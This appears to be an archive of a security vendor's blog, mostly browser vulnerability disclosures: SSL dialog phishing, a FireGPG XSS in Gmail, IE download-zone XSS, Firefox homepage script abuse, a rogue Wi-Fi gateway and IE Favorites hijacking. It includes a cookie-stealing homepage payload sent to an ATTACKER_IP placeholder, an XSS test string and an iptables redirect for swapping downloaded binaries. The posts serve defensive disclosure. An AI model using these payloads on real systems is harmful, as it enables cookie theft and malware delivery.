Watchfire Application Security Insider

Periodic Blurbs

Hi There,

Just wanted to leave you all a quick note that we haven't forgotten how to blog :-) we've been busy over our heads with migrating things to IBM (called Blue-Washing around here), developing new version of AppScan (as always, we have to stay ahead of the pack), and researching new and interesting security vulnerabilities. In the meantime, here's a quick list of anecdotes to keep you busy -

• OWASP AppSec Europe 2008 is right around the corner. I strongly recommend attending this conference, as it looks like the agenda is packed with great presentations. The conference will take place in Ghent, Belgium, which means that good beer won't be a problem. If you haven't registered yet, I suggest you do so, and prepare to work hard in locating a hotel in the vicinity. Every single hotel is booked solid, and you might need to make some compromises. In addition, I am currently planned to be on the panel at the end of the first day ("The PCI 6.6 dogfight - to Scan or to WAF, this is the question") - I wouldn't miss a chance to voice my opinions
• Adobe Flash/Flex security- we have been researching Flex and Flash security a lot lately as a part of our continuous effort to stay ahead of the technology. RIA security is the next big thing, and the green pastures of security vulnerabilities are awaiting. Rest assured that readers of this blog will be the first to read about our research, and some of it will also be presented at the OWASP AppSec conference in NYC later this year
• IBM Rational Software Development Conference (RSDC) 2008 is coming up (June 1-5, 2008). This year's conference will host a full track on Application Security & Compliance (click to view agenda), and will include some great presentations in our field. I am also going to be there, and will give a session on Web 2.0 security (AS09). In addition, William Shatner is one of the keynote speakers - are you seriously going to miss Captain Kirk talking about software development?
• "Static code analysis is inherently doomed to fail" - at least that's what the author of this blog thinks. Well, I beg to differ, and for every reason mentioned in the above post, there's a reasonable solution or a workaround. In addition, I can't help but say - that's what happens when your scanner GREPs for security vulnerabilities ;-) ouch, don't take it personally...
• Cisco announces their own stab at building a web application firewall (WAF). I guess PCI 6.6. is kicking in :-) oh AppShield, where art thou? seriously now, I'm hearing and reading about WAFs everyday and in every blog - that's simply awesome to see that this market is finally picking up
• Charles is my new best friend. I'm not sure if I've mentioned it before in this blog, but this HTTP Proxy simply kicks ass (and it supports AMF message tampering for those pesky Flash remoting apps). Next to firebug (and of course AppScan), this is probably one of the best tools to have in your arsenal. Check it out
• Off topic - I just finished reading a book called "The Volunteer: The Incredible True Story of an Israeli Spy on the Trail of International Terrorists", while I'm not sure how "true" this story is, I did enjoy the espionage parts of it. I strongly recommend it.

That's all for now, and don't forget -

SMash Your Head on Mashup Security

I've been taking a close look at AJAX and Mashup security for a couple of weeks now, and I've stumbled upon two things which I thought I should blog about, so here goes:

 

"AJAX Security" Book

I've read several raving reviews on the "AJAX Security" book by Billy Hoffman and Bryan Sullivan, and I'd like to join the reviewers and attest that this book is simply excellent. The book covers everything you need to know about AJAX security, including a thorough background, simple and clear examples, and it covers everything from regular web application security issues, to obscure Mashup security issues, and even offline Ajax applications (e.g. Google Gears, etc.). If you are into AJAX security, this book will definitely be a great companion. Kudos to Billy & Bryan!

 

SMash

While reading the aforementioned AJAX security book, I've noticed that Mashup security is still in its infancy, and I was pondering on some of the problems that arise from mashing up contents from different trust domains into a single web page (obviously, originating from a single domain). The book talks about IFrame jails, and some of the issues with that solution, and even suggests some interesting techniques for securing mashups - but I wanted to direct your attention to a very interesting solution / technology that was built right here at IBM Research, and is freely available for everyone. This solution is called SMash (stands for Secure Mashups). Here's a short description of SMash from the OpenAjax web site:

IBM Research has contributed an important and major set of open source technology called “SMash” (secure mashups) to OpenAjax Alliance. SMash is a set of technique and open source JavaScript that runs in today’s browsers (without extensions or plugins) and enables secure handling of 3rd party mashup components.

SMash accomplishes its magic by placing mashup components in separate IFRAMEs (each using a different sub-domain). Cross-frame communications in today’s browsers is accomplished using the window.location fragment identifier. The highest level mashup application manages all communications between itself and among the mashup components. Although the initial version uses window.location, the SMash APIs are independent of any particular implementation approach and will still work if/when browsers add native support for secure cross-frame messaging.

 

You can find more technical information about SMash in the following IBM whitepaper - "SMash: Secure Component Model for Cross-Domain Mashups on Unmodified Browsers"

Smash is offered for free through the OpenAjax web site.

Reflections on SSL certificate validation dialogs

Lately I've been messing around with SSL validation dialogs and I've found that they may help in conducting a phishing attack under certain circumstances.

When an SSL site with a valid certificate includes an external resource (such as an iframe) which provides an invalid certificate (e.g: an expired certificate), IE6 or Firefox2 will pop up a dialog-box which to the naive user seems related to the browsed site, and not to an external content.

So how can this be exploited you ask? Let's assume the attacker wants to impersonate to https://www.some.site/ , which happens to have an expired certificate. The attacker will then register https://www.some.s1te/ (or any other URL which is similar to www.some.site) and will get a valid certificate for it (this is not an easy task though). Then he will embed a hidden iframe which sources from https://www.some.site/.

When the victim browses to https://www.some.s1te/  the browser will pop up a dialog message saying that the certificate has expired, but the Common Name of the certificate will be www.some.site!, This may convince the victim that he actually has surfed to www.some.site.

 

This video demonstrates the issue under Internet Explorer 6:

This video demonstrates the issue under Firefox 2.x.x:

 

The problem is more severe under Internet Explorer 6 because it states that the remote peer is valid, and when you examine the certificate you notice that the Common Name is indeed the one that attacker is attempting to  impersonate.

In Firefox 2.x the pop-up dialog does not state that the Common Name is valid, but if you know the internals of the certificate validation test you also know that the Common Name is checked before the certificate's expiration, so if Firefox pops up a window regarding the expiration invalidity, it means that the Common Name has passed the validation test, and when one examines the certificate, it will indeed contain the impersonated one, as illustrated in the above video.

This problem is in fact inherent in the way the browsers present the error message. They don't distinguish between a failure of an external content's certificate validation test and a failure of the site's certificate validation test.  I would expect them to explicitly indicate that the certificate check is against an external source. Internet Explorer 7 actually does that, as illustrated below.

 

This image illustrates a failure of a certificate validation check in IE7 against an external source cert:

This image illustrates a failure of a certificate validity check in IE7 against the browsed site's cert:

I really like IE's solution because they could have implemented it by simply adding the missing information to the original dialog . The fact that they have two completely different error dialog windows makes the chance of a user mistakenly regarding the failure of an external certificate test as a failure of the browsed site certificate test minute or even zero.

Celebrating 20 Years of Anti-Virus

• 20 years of Anti-Virus software and I still have to patch my machine at least once a month
• 20 years of Anti-Virus software and I still have to update my Anti-Virus with yesterday's signatures
• 20 years of Anti-Virus software and I still need a personal firewall
• 20 years of Anti-Virus software and you still expect Mom & Pop to know if SVCHOST.EXE should be allowed to access the Internet or not
• 20 years of Anti-Virus software and when my Outlook decides suddenly to send my entire address book to some bloke in China, you can't figure out that I'm not doing this on purpose?!
• 20 years of Anti-Virus software and when my sister is tempted to double click on the cute "Dancing Pigs" file she got in her mail, her Registry gets corrupted, and files are installed in her C:\Windows\System32 directory
• 20 years of Anti-Virus software, and virus writers can still override operating system files without sweating
• 20 years of Anti-Virus software, and the first program to get infected is my Anti-Virus itself
• 20 years of Anti-Virus software and I still need to install the following: Anti-Virus, Personal Firewall, Adaware, Spybot, HijackThis, Windows Defender, etc. and at the end of the day, I'm still infected
• 20 years of Anti-Virus software and you still see new vendors entering this market, and even they can't figure out how to do it right
• 20 years of Anti-Virus software, and some snot-nosed kid who write a VBS file can outsmart the entire virus research teams combined
• 20 years of Anti-Virus software, and when I'm infected, I have to restart windows in "Safe-Mode", download some special infection removal tool from my Anti-Virus vendor, disable Windows System Restore, edit my registry manually, reboot and pray to the "Force" that this trick nailed it. Usually it doesn't
• Wait Wait Wait, I have to repeat the last one - "Infection Removal Tool"???? from the same Anti-Virus vendor???? if you know how to remove it, why didn't you handle it in the first place?!@#!
• 20 years of Anti-Virus software, and every time I visit my parents' house, their computer is a part of a new botnet, and my dad is asking me: "How come I got infected, if I updated my Anti-Virus yesterday, and I didn't click on any malicious file?!"

Folks, if after 20 years of Anti-Virus software, all of the above is correct, I think it's safe to say that this industry has failed us (it didn't fail the vendors, since they are making a lot of money every year). The one thing I seriously don't understand is why we keep paying for Anti-Virus software, for our gateways and for our endpoints, if eventually we have to sit and decide if it is safe to click on some file that someone sent us.

Could it be that Anti-virus software became just a bullet on the CISO's checklist of must-haves? could it be that through FUD, we are forced to buy Anti-Virus software, that doesn't solve the problem for us?

What has the Anti-Virus industry been doing for the past 20 years except for updating signatures and counting the subscription money we pay them?

Let's hope that other security market segments will do better after 20 years...

 

See you at the 40th. anniversary.

-Ory

(FireGPG) Browser-based XSS

FireGPG is a Firefox extension which brings an interface to GPG functions. It's capable of signing, verifying, encrypting and decrypting text on the fly using GnuGPG.

It also integrates with Gmail, making it possible to run GPG functions on mail messages. One of its features is auto-verification of mail messages, which are detected as PGP-signed.

After a mail message has been verified, it is printed below the message whether the signature matches the message and if it does, issuer name is printed as well.

However (in version 0.46), the issuer name is not sanitized or validated against malicious input, so it makes FireGPG vulnerable to Cross Site Scripting. If the issuer name (which is provided with the public key) contains a malicious JavaScript, it will be executed under Gmail's context!. An XSS under Gmail allows the attacker to impersonate to the victim by controlling his mailbox, steal his cookies and so on.

To exploit this vulnerability, the attacker sends the victim a message signed with his malicious PGP key, and then convinces him to import the attacker's public key block  (which contains the malicious issuer name). The key can be imported manually, or by using a public key repository. It is reasonable that the victim will not notice the malicious issuer name since public keys are usually distributed as base64 blocks, or identified by their Key ID when retrieved from a public key server. Once the victim views the signed message in his mailbox, FireGPG will automatically verify it and inject the malicious payload into Gmail's DOM, which is immediately  executed. The screenshot below illustrates an injection of a javascript into Gmail's DOM by setting the issuer name to "<script>alert(document.domain)</script>"

 

This type of XSS is interesting because a browser bug leads to an XSS. it is both similar and dissimilar to DOM-based XSS.  It resembles to DOM-based XSS because the attack cannot be detected by the affected domain. But unlike DOM-based XSS, flaws of this variant are not originated from the developers of the affected domain.

Looking at FireGPG's case, Gmail is not responsible for the flaw, yet the XSS occurs under its DOM. Looking at Yair Amit's last post, the website which an HTML file is downloaded from is not responsible for the XSS, Internet Explorer is.

It should be noted that FireGPG's team has been very responsive and it took them  about 21 hours since our disclosure to provide a remedy to the flaw. This shows they are security aware and are committed to the protection of their end-users. It is an excellent example of how to handle security related bugs correctly. Many vendors do not distinct security bugs from other bugs, IMHO this is a bad approach - security related bugs should be fixed as soon as possible, and not in the next service pack.

Internet Explorer Download Zones Mix-up leads to XSS

Do you worry about security when downloading and opening HTML files from the Internet? I've been asking around over the past few days, and most people seem to feel they can rely on IE's My-Computer zone security restrictions to keep safe.

A few days ago, I discovered a security flaw in Internet Explorer that could - under certain conditions - be exploited against a large number of web-applications. The flaw results in XSS holes in websites that allow the downloading of user-controlled HTML files (for example, webmail and forum services). The websites themselves don't necessarily do anything wrong. Their susceptibility to attack is due to improper behavior by Internet Explorer.

Same Origin Policy is supposed to ensure that once HTML is downloaded to the user's machine and opened locally, it can no longer access, or pose a threat to the source website – as it is no longer affiliated with that website's domain. Relying on browsers to apply this policy, websites frequently allow users to download original, unaltered versions of attachments, to their local-systems. Usually that's fine, but it seems that there is a download scenario in IE that does not follow this guideline.

It turns out that if you download an HTML file via IE and click the "Open" button in the "File Download" dialog (a fairly common scenario), instead of IE displaying the content from the local hard-drive (in the My-Computer Security Zone, which is very restrictive by default) the HTML is displayed in the context of the domain from which the file was downloaded. This behavior is neither expected nor desired.

If the downloaded HTML file contains a malicious JavaScript code, it will automatically be executed by Internet Explorer in the context of the original website. The risks this problematic behavior poses to IE users are equivalent to those of XSS. Since the problem lies with Internet Explorer and not any specific website, the risk to users is widespread. In effect it makes a large amount of websites susceptible to XSS to some extent.
In order to better describe the problem, let's consider the case of webmail services. Most webmail services offer a preview feature that allows the user to view an HTML version of attachments. The generated HTML is scanned and sanitized in order to ensure that it doesn't contain hazardous characters when embedded within the site.

The same principle is applied to HTML attachments. When they are viewed in the context of the web-application, all potentially harmful content (such as scripts) is stripped. While these measures protect users from security threats such as XSS, the design and functionality of the HTML attachment file might be damaged as a result, and for this reason webmail services offer a "Download" feature that lets the user download the original content of the attachment. Surfers can – and frequently do – use the "Download" feature when the sanitized version of the attachment is not satisfactory. This fact might be taken advantage of by a malicious attacker trying to exploit the aforementioned flaw.

While people are already educated to be suspicious of opening executable attachments, most people (and perhaps technical people in particular) are likely to open HTML attachments rather freely. HTML attachments are perceived as being with very small risk thanks to the My-Computer Zone protection mechanisms embedded in Internet Explorer. I therefore believe that despite the generic warning displayed in IE's "File Download" dialog (see "Flow of attack" section below), IE's improper behavior could be used by malicious attackers to mount attacks against visitors in a variety of web applications.

Microsoft was notified about the problem, but decided to not flag it as a security threat that has to be fixed, relying on the general warning message embedded in the "File Download" dialog.

For the reasons I described above, I believe it is important to warn users about this flaw, in order to help to mitigate the risk it poses to potential victims.

A brief review of several popular web-applications (forum infrastructures and webmail services) has shown that the flaw described above is fully exploitable in many of them. Until this flaw is fixed, IE users are potential victims when visiting and downloading attachments in web-applications of this type.

Vulnerable web-applications can protect their users by ensuring that the domain from which files are downloaded is different to that used by the code logic of the application itself. However, since this change isn't trivial, it's likely that many websites will remain vulnerable in the near future.

I therefore recommend thinking twice before opening HTML attachments with the "Open" button in Internet Explorer.

Flow of attack:

1. Victim receives an HTML attachment and decides to download it in order to watch it properly.
2. Victim clicks on the "Open" button.
    
3. The HTML is displayed by Internet Explorer in the context of the source website. JavaScript embedded in the downloaded HTML file has full access to the resources of the source website, and can fully impersonate the victim on the source website while she/he is calmly viewing the supposedly innocent HTML attachment.
   

"Analyzing the Effectiveness and Coverage of Web Application Security Scanners" - Take II

The following is an overview taken from my whitepaper that discusses Larry Suto's recent paper "Analyzing the Effectiveness and Coverage of Web Application Security Scanners".

Suto's paper, as you may or may not know, caused some stir in the industry, which got some of us busy doing our own analysis to rebut some of its findings and methodology.

In October 2007, Larry Suto published the whitepaper "Analyzing the Effectiveness and Coverage of Web Application Security Scanners". The paper, attempted to quantify the effectiveness of automated web application scanners, and in particular he compared between NTObjective's NTOSpider, HP (SPIDynamics) WebInspect, and IBM Rational AppScan.

Larry's comparative work attempted to analyze the effectiveness of the scanners in four areas:

1. Links crawled by the scanners' web crawler
2. Coverage of application code (tested using Fortify's Tracer tool)
3. Number of verified vulnerabilities that were found
4. Number of false positives

The paper's conclusion showed a large discrepancy in the number of vulnerabilities detected by WebInspect and AppScan, to those detected by NTOSpider, and in addition it seemed as if WebInspect and AppScan missed a large amount of vulnerabilities (i.e. False Negatives).

My overview, which is presented in this paper, will attempt to shed some light on the results presented in Suto's paper, as well as to rebut its accuracy.

This paper will show that there are fundamental flaws in the original report:

1. The findings are not appropriate for comparison purposes, as they compare numbers from products that are measuring vulnerabilities at different levels of granularity (i.e. Apples and Oranges).
2. The methodology used in the original whitepaper is questionable, because it wasn't fully explained.
3. After requesting information about the test environment and AppScan scan files from the author, our own experiments produced significantly different results from those published in the whitepaper.

The entire whitepaper is available for download here: [Better Untaught Than Ill-Taught]

You can find the original whitepaper written by Larry Suto here.

You should also check out a similar analysis paper written by Jeff Forristal (HP/SPI), that was published a few weeks ago.

Firefox Homepage JavaScript Execution

Last month Yair Amit wrote a post about the wild behavior of Internet Explorer's Favorites. Now it's Firefox's turn in the spotlight as I noticed a feature which misbehaves. The feature is that Firefox (tested on version 2.0.0.9) permits you to set an inline JavaScript as a homepage.

The problem inherent with this is that the installed script is executed in the context of the last visited URL, giving an attacker the opportunity to access the domain of last the visited webpage.

For example, the attacker can run a specially crafted HTTP server which logs all incoming requests, and sends an HTTP Redirect reply that contains the victim's real homepage URL.

The attacker must then somehow convince the victim to change his homepage to javascript:location.href='http://<ATTACKER_IP>/'
+document.cookie

When the user clicks on the homepage button, he will be redirected to his original homepage, without noticing that his cookies have been stolen!

Although this is not an invisible attack, nor a very effective one (how often do you click on the Homepage button?), its strength is that it is persistent. Most people do not change their homepage frequently, so once the user has been lured into changing his homepage, months may pass before he discovers that his cookies have been stolen.

It should be mentioned that IE7 rejects inline JavaScripts in the homepage field, thus blocking this kind of attack.

Now it is Yair's turn to find a new vulnerability in Internet Explorer :)

Untrusted Gateways - Open wireless networks

One should always ask himself if the wireless gateway he uses is trustworthy.

Depict yourself the following situation:

You are sitting in a coffee shop, seeking for wireless networks. what are you gonna do next? connect to a network which SSID's is similar to the coffee shop's name, or if none exists, connect to the first open network you find.

If the coffee shop doesn't have a wireless network, it gives a malicious user an opportunity to run his own network, on behalf of the coffee shop to attract clients. Otherwise, he will have to spoof the legitimate access-point's MAC, and race for new clients.

Everyone knows that open wireless networks are prone to sniffing, but most people are unaware of the fact that active attacks could take place as well, and it is especially easy if the malicious user controls the gateway.

This video demonstrates how an exe file is injected transparently into an innocent HTTP session.

What happens behind the scenes is the use of a transparent proxy I built, which terminates HTTP traffic, and searches for exe download patterns (Content-Type:\s+application/octet-stream to be exact). When it matches an exe pattern, it replaces the response with a malicious binary. The proxy runs on the gateway, which is fixed with an iptables rule (iptables -t nat -A PREROUTING -i [interface] -p tcp --dport 80 -j REDIRECT --to-ports [proxy interface]) that forwards all transit HTTP via the proxy.

By the use of PKI you can ensure you pass your malicious gateway without data mutation.
So consider yourself one of the following countermeasures:

1) Download binaries from SSL sites only (and verify the certificate!)
2) Use an SSL proxy (and again verify the certificate)
3) Tunnel traffic through a VPN
4) Tunnel traffic through SSH
5) Download signed binaries, and verify the digital signature.

Favorites Gone Wild

While browsing the Internet a few days ago I came across a disturbing behavior of Internet Explorer.

Internet Explorer has a feature that allows users to load a Favorite located at the root of the Favorites tree by typing its full name into the address bar. Let's say we have a Favorite named 'Watchfire' pointing to www.watchfire.com. Whenever we wish to visit www.watchfire.com, we can simply type 'Watchfire' into the address bar instead of using the mouse to select it from the Favorites center.

While this feature looks pretty innocent, I had a bad feeling about it, probably because the address bar is mainly perceived as a means for entering URLs into the browser.

Therefore, I decided to play a bit with this feature.

I browsed to Watchfire's website and added it as a Favorite, but instead of naming it "Watchfire", I used the URL of a different site (let's call it 'www.some.site'), wondering how IE would react.

From that moment on, every time I attempted to visit www.some.site by typing its URL in the address bar, the browser took me to Watchfire's website instead!

This problematic and unexpected behavior opens an aperture for persistent phishing attacks against victims. If an attacker manages to plant a malicious Favorite into a victim's browser, he/she could force the victim's browser to enter into an attacker-controlled website whenever the victim tries to enter legitimate websites.

Since most of the phishing scams rely on luring victims to click on malignant links, surfers are educated to be suspicious and careful before clicking on links they receive, and instead, they are encouraged to enter sensitive sites by typing in URLs manually.

Although this type of attack is far from invisible, as there are two clear indications that a wary surfer could easily notice (a new Favorite added to the Favorites list and the URL in the address bar changing as a result of the Favorite loading), I still think this attack might work pretty well against regular, unsuspecting surfers, especially as it exploits the trust most of us have in entering the URL address by ourselves.

In addition, some of the attack traces can be covered using standard phishing techniques, such as redirecting the browser to a closely spelled phishing URL in comparison to the original URL.

In a real-world scenario, the main obstacle to overcome in order to mount a malicious Favorites attack, would be finding a way to inject the malicious Favorite into the victim's Favorites center.

In order to overcome this technical limitation, various social engineering techniques can be used.

The "Add A Favorite" pop-up dialog of IE only presents the title of the about-to-be-created Favorite, and not the URL it points to. This lack of information could be utilized by a malicious individual mounting a social-engineering attack.

Social Engineering attacks have many shortcomings. As a result, their success rate is usually far from perfect. An automated and transparent way of planting Favorites on target computers could significantly leverage the impact and danger this bug poses to innocent surfers.

Does anybody know a way to automatically inject attacker-controlled Favorites into a victim's system? :)